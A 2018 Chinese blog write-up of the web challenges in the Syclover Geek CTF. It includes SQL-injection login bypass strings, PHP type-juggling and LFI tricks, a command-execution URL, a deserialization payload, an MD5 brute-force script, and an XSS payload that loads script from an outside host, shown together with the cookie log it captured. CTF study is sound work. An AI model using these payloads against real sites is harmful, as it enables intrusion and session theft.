三叶草CTF WEB 题

作者: print("") 分类: 信息安全 发布时间: 2018-10-27 21:56

1.tets

复制出来提交

flag:

SYC{evoA_Y0ur_JusT_3Scap3_Th3_Jav4scr1pt_l1m1T}

3、幸运大挑战



点了一下提交。发现提交的url 

那么burp 改一下包

FLAG:SYC{evoA_U_are_V3ry_FanTaStic_2_G3t_l0!

4、代号为geek的行动第二幕:废弃的地下黑客论坛

发现是个注入

测试中发现单引号过滤了 闭合不了 (有长度限制)

那么自己搭建了一个环境

这样的一个方式可以绕过

用户名:admin\

密码: or 1 —  

FLAG :SYC{h4ck-by-l0c4l6uy-233333333}

5.geek番外篇之废弃的地下黑客论坛

还是一个注入。但是长度限制了为4

应该和上面的思路差不多吧

本地测试一下

用户名-1\

密码:&&1#

密码: ||1#

FLAG: SYC{yun-we1-ya0-be1-gu0}

6、代号为geek的行动第三幕:暗网追击


就一张图片。啥玩意都没有。F12 点开看看

修改看看吧

7、一起来和php撸猫啊



这个就有点意思了。撸猫游戏

if (isset($_GET['p1'])){
	
	if ($_GET['p1'] > 99999999 && strlen($_GET['p1']) < 9){
			
		if (isset ( $_GET ['p2'] )) {
				$p2 = $_GET ['p2'];
				if (is_numeric($p2)){
					die('Input cannot be a number!!!');
				}
				else{
					switch ($p2) {
						case 0 :
							break;	
						case 1 :
							break;
						case 2 :
							echo "flag{xxxxx}";
							break;
						default :
							echo "2333333";
							break;
					}
				}

			}
	}
	
}

就是要大于999999 并且小于9 位

那么用科学计数法啊  什么 1e9 之类的2e9 3e9 

然后还有一个p2 不为数字  而且还要等于2 ,这不是为难胖虎么   用^ adad

flag:SYC{pHP_1s_th3_most_p0werfu11}

8、代号为geek的行动第四幕:绝密情报

<?php 
error_reporting(0); 
if (!empty($_GET)||!empty($_POST)){ 
    if(preg_match("syclover",$_GET['id'])) { 
          echo("<p>you're a gay, not allowed !</p>"); 
          exit(); 
    } 

    $_GET['id'] = urldecode($_GET['id']); 

    if($_GET['id'] == "syclover") 
    { 
          echo "<p>Wow~ ,You're smart, Access granted!</p>"; 

          $f = $_POST[file]; 
          $str = $f.".php"; 
        @require $str;  
    } 
    else 
    { 
          @require('showpass.php'); 
    } 

}  
else { 
    highlight_file("index.php"); 
} 

?>


看看逻辑是啥

syclover  替换了ID 然后ID 进行了url 编码  必须要和 syclover  相等  然后传了一个file参数  然后拼接成一个php require 是导入这个php

如果ID 不相等就导入showpass.php

那么ID 那个 url编码 尝试一下吧 先看看返回值


进入到了这个逻辑里面去了

url编码一下 得到 %73%79%63%6c%6f%76%65%72

然后那个file 地方用php的那个base64 文件读取的那个方式


flag :SYC{LF1_S0_E@sy_I_L0ve_Sec}

9、江江师傅的秘密



点开看看吧==============

???????? 这是什么鬼?  

欺骗我感情么。

10、番外*江江师傅的秘密

<?php 
//error_reporting(E_ALL); 
function check_inner_ip($url) 
{ 
    $match_result=preg_match('/^(http|https)?:\/\/.*(\/)?.*$/',$url); 
    if (!$match_result) 
    { 
        die('url fomat error'); 
    } 
    try 
    { 
        $url_parse=parse_url($url); 
    } 
    catch(Exception $e) 
    { 
        dir('url fomat error'); 
        return false; 
    } 
    $hostname=$url_parse['host']; 

    //var_dump($hostname); 

    $ip=gethostbyname($hostname); 
    $int_ip=ip2long($ip); 
    return ip2long('127.0.0.0')>>24 == $int_ip>>24 || ip2long('10.0.0.0')>>24 == $int_ip>>24 || ip2long('172.16.0.0')>>20 == $int_ip>>20 || ip2long('192.168.0.0')>>16 == $int_ip>>16; 
} 

function safe_request_url($url) 
{ 
     
    if (check_inner_ip($url)) 
    { 
        echo $url.' is inner ip'; 
    } 
    else 
    { 
        //var_dump($url); 
        $ch = curl_init(); 
        curl_setopt($ch, CURLOPT_URL, $url); 
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); 
        curl_setopt($ch, CURLOPT_HEADER, 0); 
        $output = curl_exec($ch); 
        $result_info = curl_getinfo($ch); 
        if ($result_info['redirect_url']) 
        { 
            safe_request_url($result_info['redirect_url']); 
        } 
        curl_close($ch); 
        var_dump($output); 
    } 
     
} 

$url = $_POST['url']; 
if(!empty($url)){ 
    safe_request_url($url); 
} 
else{ 
    highlight_file(__file__); 
} 

//hint23333: 
//flag in flag.php 
//phpinfo in phpinfo.php 

?>

原文文章:http://chengable.net/index.php/archives/297/

参考文章2: https://www.leavesongs.com/PYTHON/defend-ssrf-vulnerable-in-python.html

这个SSRF 怎么破?   (这题目搞了两个小时。实在绕不过这个。)

心塞。可能是我太渣了。无法绕过这个。SSRF 。求大佬支个招(最后在红日安全的七月火师傅找到了答案)

具体的操作如下:https://www.blackhat.com/docs/us-17/thursday/us-17-Tsai-A-New-Era-Of-SSRF-Exploiting-URL-Parser-In-Trending-Programming-Languages.pdf

10、柠檬师傅日站的秘籍


找到这个url 是一个代码执行的

https://geek.l0ca1.xyz/sycshell/?cmd=cat%20geek/flag_is_here

FLAG  :SYC{syCl0ver_sheL1}

11、百万前端跑路了


应该是一个xss 

弄了一个爆破md5的 脚本

#!/usr/bin/env python
# -*- coding:utf-8 -*-
# Author: liang 
import random
import string
import hashlib

def md5(str):
    m = hashlib.md5()
    m.update(str)
    return m.hexdigest()

i = 0
while 1:
    i +=19973
    #print i
    string = ''
    s = string.join(random.sample('qwertyuiopasdfghjklzxcvbnm1234567890',5))
    if md5(s)[0:6] == 'b2ce0e':
        print s
        break

“/><script src=http://xx.cm/Ez3eU9q></script>//

jl8xs

查看一下xss平台

location : http://127.0.0.1/admin.php?pass=c2hlZTMzcG1ha2Vib3Q=
toplocation : http://127.0.0.1/admin.php?pass=c2hlZTMzcG1ha2Vib3Q=
cookie : PHPSESSID=3n9ajuojrkc2eqiku6dg2vkr50; valuee=U1lDe04wd19ZMHVfa25vd19Ib3dfN29fWFNTX0Nvb2tpM30=
opener :
HTTP_REFERER : http://127.0.0.1/admin.php?pass=c2hlZTMzcG1ha2Vib3Q=
HTTP_USER_AGENT : Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/67.0.3396.99 Safari/537.36
REMOTE_ADDR : 222.18.158.196

FLAG: SYC{N0w_Y0u_know_How_7o_XSS_Cooki3}

12、隐藏在混乱之中的绝密情报

根据提示。应该是反序列

打开一看。师傅们都这么秀的么。 看看有啥备份文件。

http://extra-intelligence.game.sycsec.com/www.zip 

打开看了一下源代码

<?php
class Daedalus{
    function __construct($test)
    {
       getflag();
    }
}
class Mang0{
    var $message="hello_new_geek";
    function __wakeup()
    {
        $newgay = new Daedalus($this->message);
    }
}


$message = $_GET['message'];

@$unser_message = unserialize($message);

?>

写了一个反序列化的php

<?php
class Daedalus{
    function __construct($test)
    {
       getflag();
    }
}
class Mang0{
    var $message="hello_new_geek";
    function __wakeup()
    {
        $newgay = new Daedalus($this->message);
    }
}


//$message = $_GET['message'];
$a=new Mang0();
@$unser_message = serialize($a);
var_dump(@$unser_message);
?>
[root@localhost ~]# php aa.php 
string(52) "O:5:"Mang0":1:{s:7:"message";s:14:"hello_new_geek";}"

[root@localhost ~]# 

提交呗

FLAG:SYC{P0p_cha1n_CAn_Cr055_th3_clAsS}

12、ratten师傅去哪了

注册

登陆之后,有一个地方可以越权

抓包看看

把uid改成1 

然后登陆就可以拿到FLAG 了

如果觉得我的文章对您有用,请随意打赏。您的支持将鼓励我继续创作!

发表评论

您的电子邮箱地址不会被公开。